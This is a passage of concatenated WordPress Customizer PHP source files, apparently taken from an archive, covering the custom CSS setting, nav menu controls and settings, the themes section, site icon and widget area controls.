		add_filter( 'wp_get_custom_css', array( $this, 'filter_previewed_wp_get_custom_css' ), 9, 2 );
		return true;
	}

	/**
	 * Filter `wp_get_custom_css` for applying the customized value.
	 *
	 * This is used in the preview when `wp_get_custom_css()` is called for rendering the styles.
	 *
	 * @since 4.7.0
	 * @see wp_get_custom_css()
	 *
	 * @param string $css        Original CSS.
	 * @param string $stylesheet Current stylesheet.
	 * @return string CSS.
	 */
	public function filter_previewed_wp_get_custom_css( $css, $stylesheet ) {
		if ( $stylesheet === $this->stylesheet ) {
			$customized_value = $this->post_value( null );
			if ( ! is_null( $customized_value ) ) {
				$css = $customized_value;
			}
		}
		return $css;
	}

	/**
	 * Fetch the value of the setting. Will return the previewed value when `preview()` is called.
	 *
	 * @since 4.7.0
	 * @see WP_Customize_Setting::value()
	 *
	 * @return string
	 */
	public function value() {
		if ( $this->is_previewed ) {
			$post_value = $this->post_value( null );
			if ( null !== $post_value ) {
				return $post_value;
			}
		}
		$id_base = $this->id_data['base'];
		$value = '';
		$post = wp_get_custom_css_post( $this->stylesheet );
		if ( $post ) {
			$value = $post->post_content;
		}
		if ( empty( $value ) ) {
			$value = $this->default;
		}

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		$value = apply_filters( "customize_value_{$id_base}", $value, $this );

		return $value;
	}

	/**
	 * Validate CSS.
	 *
	 * Checks for imbalanced braces, brackets, and comments.
	 * Notifications are rendered when the customizer state is saved.
	 *
	 * @since 4.7.0
	 * @since 4.9.0 Checking for balanced characters has been moved client-side via linting in code editor.
	 *
	 * @param string $css The input string.
	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
	 */
	public function validate( $css ) {
		$validity = new WP_Error();

		if ( preg_match( '#</?\w+#', $css ) ) {
			$validity->add( 'illegal_markup', __( 'Markup is not allowed in CSS.' ) );
		}

		if ( empty( $validity->errors ) ) {
			$validity = parent::validate( $css );
		}
		return $validity;
	}

	/**
	 * Store the CSS setting value in the custom_css custom post type for the stylesheet.
	 *
	 * @since 4.7.0
	 *
	 * @param string $css The input value.
	 * @return int|false The post ID or false if the value could not be saved.
	 */
	public function update( $css ) {
		if ( empty( $css ) ) {
			$css = '';
		}

		$r = wp_update_custom_css_post( $css, array(
			'stylesheet' => $this->stylesheet,
		) );

		if ( $r instanceof WP_Error ) {
			return false;
		}
		$post_id = $r->ID;

		// Cache post ID in theme mod for performance to avoid additional DB query.
		if ( $this->manager->get_stylesheet() === $this->stylesheet ) {
			set_theme_mod( 'custom_css_post_id', $post_id );
		}

		return $post_id;
	}
}
class-wp-customize-nav-menu-control.php000066600000003763151122675370014256 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Nav Menu Control Class.
 *
 * @since 4.3.0
 */
class WP_Customize_Nav_Menu_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu';

	/**
	 * Don't render the control's content - it uses a JS template instead.
	 *
	 * @since 4.3.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.3.0
	 */
	public function content_template() {
		$add_items = __( 'Add Items' );
		?>
		<p class="new-menu-item-invitation">
			<?php
			printf(
				/* translators: %s: "Add Items" button text */
				__( 'Time to add some links! Click &#8220;%s&#8221; to start putting pages, categories, and custom links in your menu. Add as many things as you&#8217;d like.' ),
				$add_items
			);
			?>
		</p>
		<div class="customize-control-nav_menu-buttons">
			<button type="button" class="button add-new-menu-item" aria-label="<?php esc_attr_e( 'Add or remove menu items' ); ?>" aria-expanded="false" aria-controls="available-menu-items">
				<?php echo $add_items; ?>
			</button>
			<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder menu items' ); ?>" aria-describedby="reorder-items-desc-{{ data.menu_id }}">
				<span class="reorder"><?php _e( 'Reorder' ); ?></span>
				<span class="reorder-done"><?php _e( 'Done' ); ?></span>
			</button>
		</div>
		<p class="screen-reader-text" id="reorder-items-desc-{{ data.menu_id }}"><?php _e( 'When in reorder mode, additional controls to reorder menu items will be available in the items list above.' ); ?></p>
		<?php
	}

	/**
	 * Return parameters for this control.
	 *
	 * @since 4.3.0
	 *
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported            = parent::json();
		$exported['menu_id'] = $this->setting->term_id;

		return $exported;
	}
}
class-wp-customize-themes-section.php000066600000014663151122675370014002 0ustar00<?php
/**
 * Customize API: WP_Customize_Themes_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Themes Section class.
 *
 * A UI container for theme controls, which are displayed within sections.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Themes_Section extends WP_Customize_Section {

	/**
	 * Section type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'themes';

	/**
	 * Theme section action.
	 *
	 * Defines the type of themes to load (installed, wporg, etc.).
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $action = '';

	/**
	 * Theme section filter type.
	 *
	 * Determines whether filters are applied to loaded (local) themes or by initiating a new remote query (remote).
	 * When filtering is local, the initial themes query is not paginated by default.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $filter_type = 'local';

	/**
	 * Get section parameters for JS.
	 *
	 * @since 4.9.0
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported = parent::json();
		$exported['action'] = $this->action;
		$exported['filter_type'] = $this->filter_type;

		return $exported;
	}

	/**
	 * Render a themes section as a JS template.
	 *
	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
	 *
	 * @since 4.9.0
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="theme-section">
			<button type="button" class="customize-themes-section-title themes-section-{{ data.id }}">{{ data.title }}</button>
			<?php if ( current_user_can( 'install_themes' ) || is_multisite() ) : // @todo: upload support ?>
			<?php endif; ?>
			<div class="customize-themes-section themes-section-{{ data.id }} control-section-content themes-php">
				<div class="theme-overlay" tabindex="0" role="dialog" aria-label="<?php esc_attr_e( 'Theme Details' ); ?>"></div>
				<div class="theme-browser rendered">
					<div class="customize-preview-header themes-filter-bar">
						<?php $this->filter_bar_content_template(); ?>
					</div>
					<?php $this->filter_drawer_content_template(); ?>
					<div class="error unexpected-error" style="display: none; "><p><?php _e( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ); ?></p></div>
					<ul class="themes">
					</ul>
					<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
					<p class="no-themes-local">
						<?php
						/* translators: %s: "Search WordPress.org themes" button */
						printf( __( 'No themes found. Try a different search, or %s.' ),
							sprintf( '<button type="button" class="button-link search-dotorg-themes">%s</button>', __( 'Search WordPress.org themes' ) )
						);
						?>
					</p>
					<p class="spinner"></p>
				</div>
			</div>
		</li>
		<?php
	}

	/**
	 * Render the filter bar portion of a themes section as a JS template.
	 *
	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
	 * The filter bar container is rendered by @see `render_template()`.
	 *
	 * @since 4.9.0
	 */
	protected function filter_bar_content_template() {
		?>
		<button type="button" class="button button-primary customize-section-back customize-themes-mobile-back"><?php _e( 'Back to theme sources' ); ?></button>
		<# if ( 'wporg' === data.action ) { #>
			<div class="search-form">
				<label for="wp-filter-search-input-{{ data.id }}" class="screen-reader-text"><?php _e( 'Search themes&hellip;' ); ?></label>
				<input type="search" id="wp-filter-search-input-{{ data.id }}" placeholder="<?php esc_attr_e( 'Search themes&hellip;' ); ?>" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search">
				<div class="search-icon" aria-hidden="true"></div>
				<span id="{{ data.id }}-live-search-desc" class="screen-reader-text"><?php _e( 'The search results will be updated as you type.' ); ?></span>
			</div>
			<button type="button" class="button feature-filter-toggle">
				<span class="filter-count-0"><?php _e( 'Filter themes' ); ?></span><span class="filter-count-filters">
				<?php
				/* translators: %s: number of filters selected. */
				printf( __( 'Filter themes (%s)' ), '<span class="theme-filter-count">0</span>' );
				?>
				</span>
			</button>
		<# } else { #>
			<div class="themes-filter-container">
				<label for="{{ data.id }}-themes-filter" class="screen-reader-text"><?php _e( 'Search themes&hellip;' ); ?></label>
				<input type="search" id="{{ data.id }}-themes-filter" placeholder="<?php esc_attr_e( 'Search themes&hellip;' ); ?>" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search wp-filter-search-themes" />
				<div class="search-icon" aria-hidden="true"></div>
				<span id="{{ data.id }}-live-search-desc" class="screen-reader-text"><?php _e( 'The search results will be updated as you type.' ); ?></span>
			</div>
		<# } #>
		<div class="filter-themes-count">
			<span class="themes-displayed">
				<?php
				/* translators: %s: number of themes displayed. */
				echo sprintf( __( '%s themes' ), '<span class="theme-count">0</span>' );
				?>
			</span>
		</div>
		<?php
	}

	/**
	 * Render the filter drawer portion of a themes section as a JS template.
	 *
	 * The filter bar container is rendered by @see `render_template()`.
	 *
	 * @since 4.9.0
	 */
	protected function filter_drawer_content_template() {
		$feature_list = get_theme_feature_list( false ); // @todo: Use the .org API instead of the local core feature list. The .org API is currently outdated and will be reconciled when the .org themes directory is next redesigned.
		?>
		<# if ( 'wporg' === data.action ) { #>
			<div class="filter-drawer filter-details">
				<?php foreach ( $feature_list as $feature_name => $features ) : ?>
					<fieldset class="filter-group">
						<legend><?php echo esc_html( $feature_name ); ?></legend>
						<div class="filter-group-feature">
							<?php foreach ( $features as $feature => $feature_name ) : ?>
								<input type="checkbox" id="filter-id-<?php echo esc_attr( $feature ); ?>" value="<?php echo esc_attr( $feature ); ?>" />
								<label for="filter-id-<?php echo esc_attr( $feature ); ?>"><?php echo esc_html( $feature_name ); ?></label>
							<?php endforeach; ?>
						</div>
					</fieldset>
				<?php endforeach; ?>
			</div>
		<# } #>
		<?php
	}
}
class-wp-customize-site-icon-control.php000066600000006321151122675370014413 0ustar00<?php
/**
 * Customize API: WP_Customize_Site_Icon_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Site Icon control class.
 *
 * Used only for custom functionality in JavaScript.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Cropped_Image_Control
 */
class WP_Customize_Site_Icon_Control extends WP_Customize_Cropped_Image_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'site_icon';

	/**
	 * Constructor.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
		add_action( 'customize_controls_print_styles', 'wp_site_icon', 99 );
	}

	/**
	 * Renders a JS template for the content of the site icon control.
	 *
	 * @since 4.5.0
	 */
	public function content_template() {
		?>
		<label for="{{ data.settings['default'] }}-button">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{ data.label }}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view">
				<# if ( data.attachment.sizes ) { #>
					<div class="site-icon-preview wp-clearfix">
						<div class="favicon-preview">
							<img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" alt="" />

							<div class="favicon">
								<img src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" alt="<?php esc_attr_e( 'Preview as a browser icon' ); ?>"/>
							</div>
							<span class="browser-title" aria-hidden="true"><?php echo esc_js( get_bloginfo( 'name' ) ); ?></span>
						</div>
						<img class="app-icon-preview" src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" alt="<?php esc_attr_e( 'Preview as an app icon' ); ?>"/>
					</div>
				<# } #>
				<div class="actions">
					<# if ( data.canUpload ) { #>
						<button type="button" class="button remove-button"><?php echo $this->button_labels['remove']; ?></button>
						<button type="button" class="button upload-button" id="{{ data.settings['default'] }}-button"><?php echo $this->button_labels['change']; ?></button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<div class="placeholder">
					<?php echo $this->button_labels['placeholder']; ?>
				</div>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button"><?php echo $this->button_labels['default']; ?></button>
					<# } #>
					<# if ( data.canUpload ) { #>
						<button type="button" class="button upload-button" id="{{ data.settings['default'] }}-button"><?php echo $this->button_labels['select']; ?></button>
					<# } #>
				</div>
			</div>
		<# } #>
		<?php
	}
}
class-wp-widget-area-customize-control.php000066600000003171151122675370014712 0ustar00<?php
/**
 * Customize API: WP_Widget_Area_Customize_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.4.0
 */

/**
 * Widget Area Customize Control class.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Widget_Area_Customize_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $type = 'sidebar_widgets';

	/**
	 * Sidebar ID.
	 *
	 * @since 3.9.0
	 * @var int|string
	 */
	public $sidebar_id;

	/**
	 * Refreshes the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.9.0
	 */
	public function to_json() {
		parent::to_json();
		$exported_properties = array( 'sidebar_id' );
		foreach ( $exported_properties as $key ) {
			$this->json[ $key ] = $this->$key;
		}
	}

	/**
	 * Renders the control's content.
	 *
	 * @since 3.9.0
	 */
	public function render_content() {
		$id = 'reorder-widgets-desc-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
		?>
		<button type="button" class="button add-new-widget" aria-expanded="false" aria-controls="available-widgets">
			<?php _e( 'Add a Widget' ); ?>
		</button>
		<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder widgets' ); ?>" aria-describedby="<?php echo esc_attr( $id ); ?>">
			<span class="reorder"><?php _e( 'Reorder' ); ?></span>
			<span class="reorder-done"><?php _e( 'Done' ); ?></span>
		</button>
		<p class="screen-reader-text" id="<?php echo esc_attr( $id ); ?>"><?php _e( 'When in reorder mode, additional controls to reorder widgets will be available in the widgets list above.' ); ?></p>
		<?php
	}
}
class-wp-customize-nav-menus-panel.php000066600000006011151122675370014045 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menus_Panel class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Nav Menus Panel Class
 *
 * Needed to add screen options.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Panel
 */
class WP_Customize_Nav_Menus_Panel extends WP_Customize_Panel {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menus';

	/**
	 * Render screen options for Menus.
	 *
	 * @since 4.3.0
	 */
	public function render_screen_options() {
		// Adds the screen options.
		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
		add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );

		// Display screen options.
		$screen = WP_Screen::get( 'nav-menus.php' );
		$screen->render_screen_options( array( 'wrap' => false ) );
	}

	/**
	 * Returns the advanced options for the nav menus page.
	 *
	 * Link title attribute added as it's a relatively advanced concept for new users.
	 *
	 * @since 4.3.0
	 * @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns().
	 */
	public function wp_nav_menu_manage_columns() {
		_deprecated_function( __METHOD__, '4.5.0', 'wp_nav_menu_manage_columns' );
		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
		return wp_nav_menu_manage_columns();
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Panel::print_template()
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button type="button" class="customize-panel-back" tabindex="-1">
				<span class="screen-reader-text"><?php _e( 'Back' ); ?></span>
			</button>
			<div class="accordion-section-title">
				<span class="preview-notice">
					<?php
					/* translators: %s: the site/panel title in the Customizer */
					printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' );
					?>
				</span>
				<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false">
					<span class="screen-reader-text"><?php _e( 'Help' ); ?></span>
				</button>
				<button type="button" class="customize-screen-options-toggle" aria-expanded="false">
					<span class="screen-reader-text"><?php _e( 'Menu Options' ); ?></span>
				</button>
			</div>
			<# if ( data.description ) { #>
			<div class="description customize-panel-description">{{{ data.description }}}</div>
			<# } #>
			<div id="screen-options-wrap">
				<?php $this->render_screen_options(); ?>
			</div>
		</li>
		<?php
		// NOTE: The following is a workaround for an inability to treat (and thus label) a list of sections as a whole.
		?>
		<li class="customize-control-title customize-section-title-nav_menus-heading"><?php _e( 'Menus' ); ?></li>
	<?php
	}
}
class-wp-customize-nav-menu-setting.php000066600000044450151122675370014251 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Setting to represent a nav_menu.
 *
 * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
 * the IDs for the nav_menu_items associated with the nav menu.
 *
 * @since 4.3.0
 *
 * @see wp_get_nav_menu_object()
 * @see WP_Customize_Setting
 */
class WP_Customize_Nav_Menu_Setting extends WP_Customize_Setting {

	const ID_PATTERN = '/^nav_menu\[(?P<id>-?\d+)\]$/';

	const TAXONOMY = 'nav_menu';

	const TYPE = 'nav_menu';

	/**
	 * Setting type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = self::TYPE;

	/**
	 * Default setting value.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see wp_get_nav_menu_object()
	 */
	public $default = array(
		'name'        => '',
		'description' => '',
		'parent'      => 0,
		'auto_add'    => false,
	);

	/**
	 * Default transport.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $transport = 'postMessage';

	/**
	 * The term ID represented by this setting instance.
	 *
	 * A negative value represents a placeholder ID for a new menu not yet saved.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $term_id;

	/**
	 * Previous (placeholder) term ID used before creating a new menu.
	 *
	 * This value will be exported to JS via the {@see 'customize_save_response'} filter
	 * so that JavaScript can update the settings to refer to the newly-assigned
	 * term ID. This value is always negative to indicate it does not refer to
	 * a real term.
	 *
	 * @since 4.3.0
	 * @var int
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $previous_term_id;

	/**
	 * Whether or not update() was called.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	protected $is_updated = false;

	/**
	 * Status for calling the update method, used in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * When status is inserted, the placeholder term ID is stored in `$previous_term_id`.
	 * When status is error, the error is stored in `$update_error`.
	 *
	 * @since 4.3.0
	 * @var string updated|inserted|deleted|error
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $update_status;

	/**
	 * Any error object returned by wp_update_nav_menu_object() when setting is updated.
	 *
	 * @since 4.3.0
	 * @var WP_Error
	 *
	 * @see WP_Customize_Nav_Menu_Setting::update()
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	public $update_error;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Customize_Manager $manager Bootstrap Customizer instance.
	 * @param string               $id      An specific ID of the setting. Can be a
	 *                                      theme mod or option name.
	 * @param array                $args    Optional. Setting arguments.
	 *
	 * @throws Exception If $id is not valid for this setting type.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		if ( empty( $manager->nav_menus ) ) {
			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
		}

		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
			throw new Exception( "Illegal widget setting ID: $id" );
		}

		$this->term_id = intval( $matches['id'] );

		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Get the instance data for a given widget setting.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_object()
	 *
	 * @return array Instance data.
	 */
	public function value() {
		if ( $this->is_previewed && $this->_previewed_blog_id === get_current_blog_id() ) {
			$undefined  = new stdClass(); // Symbol.
			$post_value = $this->post_value( $undefined );

			if ( $undefined === $post_value ) {
				$value = $this->_original_value;
			} else {
				$value = $post_value;
			}
		} else {
			$value = false;

			// Note that a term_id of less than one indicates a nav_menu not yet inserted.
			if ( $this->term_id > 0 ) {
				$term = wp_get_nav_menu_object( $this->term_id );

				if ( $term ) {
					$value = wp_array_slice_assoc( (array) $term, array_keys( $this->default ) );

					$nav_menu_options  = (array) get_option( 'nav_menu_options', array() );
					$value['auto_add'] = false;

					if ( isset( $nav_menu_options['auto_add'] ) && is_array( $nav_menu_options['auto_add'] ) ) {
						$value['auto_add'] = in_array( $term->term_id, $nav_menu_options['auto_add'] );
					}
				}
			}

			if ( ! is_array( $value ) ) {
				$value = $this->default;
			}
		}
		return $value;
	}

	/**
	 * Handle previewing the setting.
	 *
	 * @since 4.3.0
	 * @since 4.4.0 Added boolean return value
	 *
	 * @see WP_Customize_Manager::post_value()
	 *
	 * @return bool False if method short-circuited due to no-op.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}

		$undefined = new stdClass();
		$is_placeholder = ( $this->term_id < 0 );
		$is_dirty = ( $undefined !== $this->post_value( $undefined ) );
		if ( ! $is_placeholder && ! $is_dirty ) {
			return false;
		}

		$this->is_previewed       = true;
		$this->_original_value    = $this->value();
		$this->_previewed_blog_id = get_current_blog_id();

		add_filter( 'wp_get_nav_menus', array( $this, 'filter_wp_get_nav_menus' ), 10, 2 );
		add_filter( 'wp_get_nav_menu_object', array( $this, 'filter_wp_get_nav_menu_object' ), 10, 2 );
		add_filter( 'default_option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );
		add_filter( 'option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );

		return true;
	}

	/**
	 * Filters the wp_get_nav_menus() result to ensure the inserted menu object is included, and the deleted one is removed.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menus()
	 *
	 * @param array $menus An array of menu objects.
	 * @param array $args  An array of arguments used to retrieve menu objects.
	 * @return array
	 */
	public function filter_wp_get_nav_menus( $menus, $args ) {
		if ( get_current_blog_id() !== $this->_previewed_blog_id ) {
			return $menus;
		}

		$setting_value = $this->value();
		$is_delete = ( false === $setting_value );
		$index = -1;

		// Find the existing menu item's position in the list.
		foreach ( $menus as $i => $menu ) {
			if ( (int) $this->term_id === (int) $menu->term_id || (int) $this->previous_term_id === (int) $menu->term_id ) {
				$index = $i;
				break;
			}
		}

		if ( $is_delete ) {
			// Handle deleted menu by removing it from the list.
			if ( -1 !== $index ) {
				array_splice( $menus, $index, 1 );
			}
		} else {
			// Handle menus being updated or inserted.
			$menu_obj = (object) array_merge( array(
				'term_id'          => $this->term_id,
				'term_taxonomy_id' => $this->term_id,
				'slug'             => sanitize_title( $setting_value['name'] ),
				'count'            => 0,
				'term_group'       => 0,
				'taxonomy'         => self::TAXONOMY,
				'filter'           => 'raw',
			), $setting_value );

			array_splice( $menus, $index, ( -1 === $index ? 0 : 1 ), array( $menu_obj ) );
		}

		// Make sure the menu objects get re-sorted after an update/insert.
		if ( ! $is_delete && ! empty( $args['orderby'] ) ) {
			$menus = wp_list_sort( $menus, array(
				$args['orderby'] => 'ASC',
			) );
		}
		// @todo add support for $args['hide_empty'] === true

		return $menus;
	}

	/**
	 * Temporary non-closure passing of orderby value to function.
	 *
	 * @since 4.3.0
	 * @var string
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
	 * @see WP_Customize_Nav_Menu_Setting::_sort_menus_by_orderby()
	 */
	protected $_current_menus_sort_orderby;

	/**
	 * Sort menu objects by the class-supplied orderby property.
	 *
	 * This is a workaround for a lack of closures.
	 *
	 * @since 4.3.0
	 * @deprecated 4.7.0 Use wp_list_sort()
	 *
	 * @param object $menu1
	 * @param object $menu2
	 * @return int
	 *
	 * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
	 */
	protected function _sort_menus_by_orderby( $menu1, $menu2 ) {
		_deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' );

		$key = $this->_current_menus_sort_orderby;
		return strcmp( $menu1->$key, $menu2->$key );
	}

	/**
	 * Filters the wp_get_nav_menu_object() result to supply the previewed menu object.
	 *
	 * Requesting a nav_menu object by anything but ID is not supported.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_object()
	 *
	 * @param object|null $menu_obj Object returned by wp_get_nav_menu_object().
	 * @param string      $menu_id  ID of the nav_menu term. Requests by slug or name will be ignored.
	 * @return object|null
	 */
	public function filter_wp_get_nav_menu_object( $menu_obj, $menu_id ) {
		$ok = (
			get_current_blog_id() === $this->_previewed_blog_id
			&&
			is_int( $menu_id )
			&&
			$menu_id === $this->term_id
		);
		if ( ! $ok ) {
			return $menu_obj;
		}

		$setting_value = $this->value();

		// Handle deleted menus.
		if ( false === $setting_value ) {
			return false;
		}

		// Handle sanitization failure by preventing short-circuiting.
		if ( null === $setting_value ) {
			return $menu_obj;
		}

		$menu_obj = (object) array_merge( array(
				'term_id'          => $this->term_id,
				'term_taxonomy_id' => $this->term_id,
				'slug'             => sanitize_title( $setting_value['name'] ),
				'count'            => 0,
				'term_group'       => 0,
				'taxonomy'         => self::TAXONOMY,
				'filter'           => 'raw',
			), $setting_value );

		return $menu_obj;
	}

	/**
	 * Filters the nav_menu_options option to include this menu's auto_add preference.
	 *
	 * @since 4.3.0
	 *
	 * @param array $nav_menu_options Nav menu options including auto_add.
	 * @return array (Kaybe) modified nav menu options.
	 */
	public function filter_nav_menu_options( $nav_menu_options ) {
		if ( $this->_previewed_blog_id !== get_current_blog_id() ) {
			return $nav_menu_options;
		}

		$menu = $this->value();
		$nav_menu_options = $this->filter_nav_menu_options_value(
			$nav_menu_options,
			$this->term_id,
			false === $menu ? false : $menu['auto_add']
		);

		return $nav_menu_options;
	}

	/**
	 * Sanitize an input.
	 *
	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
	 * we remove that in this override.
	 *
	 * @since 4.3.0
	 *
	 * @param array $value The value to sanitize.
	 * @return array|false|null Null if an input isn't valid. False if it is marked for deletion.
	 *                          Otherwise the sanitized value.
	 */
	public function sanitize( $value ) {
		// Menu is marked for deletion.
		if ( false === $value ) {
			return $value;
		}

		// Invalid.
		if ( ! is_array( $value ) ) {
			return null;
		}

		$default = array(
			'name'        => '',
			'description' => '',
			'parent'      => 0,
			'auto_add'    => false,
		);
		$value = array_merge( $default, $value );
		$value = wp_array_slice_assoc( $value, array_keys( $default ) );

		$value['name']        = trim( esc_html( $value['name'] ) ); // This sanitization code is used in wp-admin/nav-menus.php.
		$value['description'] = sanitize_text_field( $value['description'] );
		$value['parent']      = max( 0, intval( $value['parent'] ) );
		$value['auto_add']    = ! empty( $value['auto_add'] );

		if ( '' === $value['name'] ) {
			$value['name'] = _x( '(unnamed)', 'Missing menu name.' );
		}

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		return apply_filters( "customize_sanitize_{$this->id}", $value, $this );
	}

	/**
	 * Storage for data to be sent back to client in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
	 */
	protected $_widget_nav_menu_updates = array();

	/**
	 * Create/update the nav_menu term for this setting.
	 *
	 * Any created menus will have their assigned term IDs exported to the client
	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be exported
	 * to the client via the customize_save_response() filter.
	 *
	 * To delete a menu, the client can send false as the value.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_update_nav_menu_object()
	 *
	 * @param array|false $value {
	 *     The value to update. Note that slug cannot be updated via wp_update_nav_menu_object().
	 *     If false, then the menu will be deleted entirely.
	 *
	 *     @type string $name        The name of the menu to save.
	 *     @type string $description The term description. Default empty string.
	 *     @type int    $parent      The id of the parent term. Default 0.
	 *     @type bool   $auto_add    Whether pages will auto_add to this menu. Default false.
	 * }
	 * @return null|void
	 */
	protected function update( $value ) {
		if ( $this->is_updated ) {
			return;
		}

		$this->is_updated = true;
		$is_placeholder   = ( $this->term_id < 0 );
		$is_delete        = ( false === $value );

		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );

		$auto_add = null;
		if ( $is_delete ) {
			// If the current setting term is a placeholder, a delete request is a no-op.
			if ( $is_placeholder ) {
				$this->update_status = 'deleted';
			} else {
				$r = wp_delete_nav_menu( $this->term_id );

				if ( is_wp_error( $r ) ) {
					$this->update_status = 'error';
					$this->update_error  = $r;
				} else {
					$this->update_status = 'deleted';
					$auto_add = false;
				}
			}
		} else {
			// Insert or update menu.
			$menu_data = wp_array_slice_assoc( $value, array( 'description', 'parent' ) );
			$menu_data['menu-name'] = $value['name'];

			$menu_id = $is_placeholder ? 0 : $this->term_id;
